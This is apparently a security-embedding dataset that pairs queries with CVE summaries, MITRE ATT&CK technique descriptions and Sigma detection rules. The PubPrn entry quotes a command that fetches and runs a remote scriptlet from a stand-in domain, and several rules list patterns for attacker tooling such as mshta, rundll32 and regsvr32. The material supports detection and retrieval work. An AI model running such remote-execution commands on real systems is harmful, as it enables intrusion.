alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: exploit In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Automobile and Snapdragon Mobile MDM9625, SD 425, SD 430, SD 450, SD 625, SD 650/52, SD 810, SD 
Matching passage: CVE-2015-9116. CWE: CWE-20. CVSS: 9.800000190734863. In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Automobile and Snapdragon Mobile MDM9625, SD 425, SD 430, SD 450, SD 625, SD 650/52, SD 810, SD 820, and SD 820A, in a QTEE syscall handler, an untrusted pointer dereference can occur.
Near-miss passage: CVE-2015-4646. CWE: CWE-20. CVSS: 7.5. (1) unsquash-1.c, (2) unsquash-2.c, (3) unsquash-3.c, and (4) unsquash-4.c in Squashfs and sasquatch allow remote attackers to cause a denial of service (application crash) via a crafted input.
Query: patch priority for CVE-2015-1512
Matching passage: CVE-2015-1512. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in FancyFon FAMOC before 3.17.4 allow remote attackers to inject arbitrary web script or HTML via the (1) LoginForm[username] to ui/system/login or the (2) order or (3) myorgs to index.php.
Near-miss passage: CVE-2015-0139. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in IBM WebSphere Portal 8.0.0 through 8.0.0.1 CF15 and 8.5.0 before CF05 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.
Query: patch priority for CVE-2015-3773
Matching passage: CVE-2015-3773. CWE: CWE-119. CVSS: 7.5. The SMB client in Apple OS X before 10.10.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via unspecified vectors.
Near-miss passage: CVE-2015-1271. CWE: CWE-119. CVSS: 6.800000190734863. PDFium, as used in Google Chrome before 44.0.2403.89, does not properly handle certain out-of-memory conditions, which allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via a crafted PDF document that triggers a large memory allocation.
Query: patch priority for CVE-2015-0640
Matching passage: CVE-2015-0640. CWE: CWE-20. CVSS: 7.800000190734863. The high-speed logging (HSL) feature in Cisco IOS XE 2.x and 3.x before 3.10.4S, 3.11 before 3.11.3S, 3.12 before 3.12.1S, 3.13 before 3.13.0S, 3.14 before 3.14.0S, and 3.15 before 3.15.0S allows remote attackers to cause a denial of service (device reload) via large IP packets that require NAT and HSL processing after fragmentation, aka Bug ID CSCuo25741.
Near-miss passage: CVE-2015-8711. CWE: CWE-20. CVSS: 5.5. epan/dissectors/packet-nbap.c in the NBAP dissector in Wireshark 1.12.x before 1.12.9 and 2.0.x before 2.0.1 does not validate conversation data, which allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted packet.
Query: SOC alert related to DNS Server
Matching passage: T1583.002 DNS Server. Tactics: resource development. Description: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
Near-miss passage: T1583.001 Domains. Tactics: resource development. Description: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such pr
Query: explain T1216.001 PubPrn
Matching passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Near-miss passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Query: write Sigma for Detects the creation of a macro file for Outlook.
Matching passage: Sigma rule: Detects the creation of a macro file for Outlook.. Logsource: windows / file_event. Rule: title: New Outlook Macro Created id: 8c31f563-f9a7-450c-bfa8-35f8f32f1f61 related: - id: 117d3d3a-755c-4a61-b23e-9171146d094c type: derived status: test description: Detects the creation of a macro file for Outlook. references: - https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ author: '@ScoubiMtl' date: 2021-04-05 modified: 2023-02-08 tags: - attack.privilege-escalation - attack.persistence - attack.command-and-control - attack.t1137 - attack.t1008 - attack.t1546 logsource: category: file_event product: windows detection: selection: Image|endswith: \outlook.exe TargetFilename|endswith: \Microsoft\Outlook\VbaProject.OTM condition: selection falsepositives: - User genuinely creates a VB Macro for their email level: medium
Near-miss passage: Sigma rule: Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommo. Logsource: windows / process_creation. Rule: title: Cscript/Wscript Potentially Suspicious Child Process id: b6676963-0353-4f88-90f5-36c20d443c6a status: test description: 'Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others. ' references: - Internal Research - https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_30.10.2023.txt - https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_22.12.2023.txt author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86') date: 2023-05-15 modified: 2024-01-02 tags: - attack.execution logsource: category: process_creation product: windows detection: selection_parent: ParentImage|endswith: - \wscript.exe - \cscript.exe selection_cli_script_main: Image|endswith: - \cmd.exe - \powershell.exe - \pwsh.exe selection_cli_script_option_mshta: CommandLine|contains|all: - mshta - http selection_cli_script_option_other: CommandLine|contains: - rundll32 - regsvr32 - msiexec selection_cli_standalone: Image|endswith: \rundll32.exe filter_main_rundll32_known_exports: Image|endswith: \rundll32.exe CommandLine|contains: - UpdatePerUserSystemParameters - PrintUIEntry - ClearMyTracksByProcess condition: selection_parent and ( selection_cli_standalone or (selection_cli_script_main and 1 of selection_cli_script_option_*) ) and not 1 of filter_main_* falsepositives: - Some false positives might occur with admin or third party software scripts. Investigate and apply additional filters accordingly. level: medium
Query: write Sigma for Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.
Matching passage: Sigma rule: Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.. Logsource: kubernetes / application / audit. Rule: title: Potential Remote Command Execution In Pod Container id: a1b0ca4e-7835-413e-8471-3ff2b8a66be6 status: test description: 'Detects attempts to execute remote commands, within a Pod''s container using e.g. the "kubectl exec" command. ' references: - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/ author: Leo Tsaousis (@laripping) date: 2024-03-26 tags: - attack.t1609 - attack.execution logsource: category: application product: kubernetes service: audit detection: selection: verb: create objectRef.resource: pods objectRef.subresource: exec condition: selection falsepositives: - Legitimate debugging activity. Investigate the identity performing the requests and their authorization. level: medium
Near-miss passage: Sigma rule: Detect when a Cloud SQL DB has been modified or deleted.. Logsource: gcp / gcp.audit. Rule: title: Google Cloud SQL Database Modified or Deleted id: f346bbd5-2c4e-4789-a221-72de7685090d status: test description: Detect when a Cloud SQL DB has been modified or deleted. references: - https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update author: Austin Songer @austinsonger date: 2021-10-15 modified: 2022-12-25 tags: - attack.impact logsource: product: gcp service: gcp.audit detection: selection: gcp.audit.method_name: - cloudsql.instances.create - cloudsql.instances.delete - cloudsql.users.update - cloudsql.users.delete condition: selection falsepositives: - SQL Database being modified or deleted may be performed by a system administrator. - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Query: vulnerability: The altos-connect plugin 1.3.0 for WordPress has XSS via the wp-content/plugins/altos-connect/jquery-validate/demo/demo/captcha/index.php/ PATH_SELF.
Matching passage: CVE-2015-9444. CWE: CWE-79. CVSS: 6.099999904632568. The altos-connect plugin 1.3.0 for WordPress has XSS via the wp-content/plugins/altos-connect/jquery-validate/demo/demo/captcha/index.php/ PATH_SELF.
Near-miss passage: CVE-2015-4706. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in IPython 3.x before 3.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving JSON error messages and the /api/contents path.
Query: rule covering Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Cont
Matching passage: Sigma rule: Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Cont. Logsource: windows / application. Rule: title: Atera Agent Installation id: 87261fb2-69d0-42fe-b9de-88c6b5f65a43 status: test description: Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators references: - https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent author: Bhabesh Raj date: 2021-09-01 modified: 2022-12-25 tags: - attack.command-and-control - attack.t1219.002 logsource: service: application product: windows detection: selection: EventID: 1033 Provider_Name: MsiInstaller Message|contains: AteraAgent condition: selection falsepositives: - Legitimate Atera agent installation level: high
Near-miss passage: Sigma rule: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an c. Logsource: windows / security. Rule: title: Suspicious Windows ANONYMOUS LOGON Local Account Created id: 1bbf25b9-8038-4154-a50b-118f2a32be27 status: test description: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts. references: - https://twitter.com/SBousseaden/status/1189469425482829824 author: James Pemberton / @4A616D6573 date: 2019-10-31 modified: 2022-10-09 tags: - attack.persistence - attack.t1136.001 - attack.t1136.002 logsource: product: windows service: security detection: selection: EventID: 4720 SamAccountName|contains|all: - ANONYMOUS - LOGON condition: selection falsepositives: - Unknown level: high
Query: Sigma YAML for linux / process_creation
Matching passage: Sigma rule: Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors i. Logsource: linux / process_creation. Rule: title: Group Has Been Deleted Via Groupdel id: 8a46f16c-8c4c-82d1-b121-0fdd3ba70a84 status: test description: Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks references: - https://linuxize.com/post/how-to-delete-group-in-linux/ - https://www.cyberciti.biz/faq/linux-remove-user-command/ - https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/ - https://linux.die.net/man/8/groupdel author: Tuan Le (NCSGroup) date: 2022-12-26 tags: - attack.impact - attack.t1531 logsource: product: linux category: process_creation detection: selection: Image|endswith: /groupdel condition: selection falsepositives: - Legitimate administrator activities level: medium
Near-miss passage: Sigma rule: Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listenin. Logsource: windows / network_connection. Rule: title: Remote Access Tool - AnyDesk Incoming Connection id: d58ba5c6-0ed7-4b9d-a433-6878379efda9 status: experimental description: 'Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows - https://asec.ahnlab.com/en/40263/ author: '@d4ns4n_ (Wuerth-Phoenix)' date: 2024-09-02 modified: 2025-02-24 tags: - attack.persistence - attack.command-and-control - attack.t1219.002 logsource: category: network_connection product: windows detection: selection: Image|endswith: - \AnyDesk.exe - \AnyDeskMSI.exe Initiated: 'false' condition: selection falsepositives: - Legitimate incoming connections (e.g. sysadmin activity). Most of the time I would expect outgoing connections (initiated locally). level: medium
Query: alert when Detects active directory enumeration activity using known AdFind CLI flags
Matching passage: Sigma rule: Detects active directory enumeration activity using known AdFind CLI flags. Logsource: windows / process_creation. Rule: title: PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE id: 455b9d50-15a1-4b99-853f-8d37655a4c1b related: - id: 9a132afa-654e-11eb-ae93-0242ac130002 type: similar - id: 514e7e3e-b3b4-4a67-af60-be20f139198b type: similar status: test description: Detects active directory enumeration activity using known AdFind CLI flags references: - https://www.joeware.net/freetools/tools/adfind/ - https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md author: frack113 date: 2021-12-13 modified: 2023-03-05 tags: - attack.discovery - attack.t1087.002 logsource: product: windows category: process_creation detection: selection_password: CommandLine|contains: - lockoutduration - lockoutthreshold - lockoutobservationwindow - maxpwdage - minpwdage - minpwdlength - pwdhistorylength - pwdproperties selection_enum_ad: CommandLine|contains: -sc admincountdmp selection_enum_exchange: CommandLine|contains: -sc exchaddresses condition: 1 of selection_* falsepositives: - Authorized administrative activity level: high regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration/info.yml
Near-miss passage: Sigma rule: Alerts on trust record modification within the registry, indicating usage of macros. Logsource: windows / registry_event. Rule: title: Windows Registry Trust Record Modification id: 295a59c1-7b79-4b47-a930-df12c15fc9c2 related: - id: a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd type: similar status: test description: Alerts on trust record modification within the registry, indicating usage of macros references: - https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/ - http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html - https://twitter.com/inversecos/status/1494174785621819397 author: Antonlovesdnb, Trent Liffick (@tliffick) date: 2020-02-19 modified: 2023-06-21 tags: - attack.initial-access - attack.t1566.001 logsource: category: registry_event product: windows detection: selection: TargetObject|contains: \Security\Trusted Documents\TrustRecords condition: selection falsepositives: - This will alert on legitimate macro usage as well, additional tuning is required level: medium
Query: risk of Apple OS X before 10.10.4 does not properly consider custom resource rules during app signature verification, which allows attackers to bypass intended launch restrictions via a mo
Matching passage: CVE-2015-3714. CWE: CWE-254. CVSS: 5.0. Apple OS X before 10.10.4 does not properly consider custom resource rules during app signature verification, which allows attackers to bypass intended launch restrictions via a modified app.
Near-miss passage: CVE-2015-1278. CWE: CWE-254. CVSS: 4.300000190734863. content/browser/web_contents/web_contents_impl.cc in Google Chrome before 44.0.2403.89 does not ensure that a PDF document's modal dialog is closed upon navigation to an interstitial page, which allows remote attackers to spoof URLs via a crafted document, as demonstrated by the alert_dialog.pdf document.
Query: risk of browser/ui/website_settings/website_settings.cc in Google Chrome before 42.0.2311.90 does not always display "Media: Allowed by you" in a Permissions table after the user has grant
Matching passage: CVE-2015-3334. CWE: CWE-17. CVSS: 4.300000190734863. browser/ui/website_settings/website_settings.cc in Google Chrome before 42.0.2311.90 does not always display "Media: Allowed by you" in a Permissions table after the user has granted camera permission to a web site, which might make it easier for user-assisted remote attackers to obtain sensitive video data from a device's physical environment via a crafted web site that turns on the camera at a time when the user believes that camera access is prohibited.
Near-miss passage: CVE-2015-2738. CWE: CWE-17. CVSS: 10.0. The YCbCrImageDataDeserializer::ToDataSourceSurface function in the YCbCr implementation in Mozilla Firefox before 39.0, Firefox ESR 31.x before 31.8 and 38.x before 38.1, and Thunderbird before 38.1 reads data from uninitialized memory locations, which has unspecified impact and attack vectors.
Query: CVE similar to CVE-2015-2673
Matching passage: CVE-2015-2673. CWE: CWE-264. CVSS: 8.800000190734863. The ec_ajax_update_option and ec_ajax_clear_all_taxrates functions in inc/admin/admin_ajax_functions.php in the WP EasyCart plugin 1.1.30 through 3.0.20 for WordPress allow remote attackers to gain administrator privileges and execute arbitrary code via the option_name and option_value parameters.
Near-miss passage: CVE-2015-5323. CWE: CWE-264. CVSS: 6.5. Jenkins before 1.638 and LTS before 1.625.2 do not properly restrict access to API tokens which might allow remote administrators to gain privileges and run scripts by using an API token of another user.
Query: CVE similar to CVE-2015-0728
Matching passage: CVE-2015-0728. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Cisco Access Control Server (ACS) 5.5(0.1) allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka Bug ID CSCuu11002.
Near-miss passage: CVE-2015-4559. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the product deployment feature in the Java core web services in Intel McAfee ePolicy Orchestrator (ePO) before 5.1.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.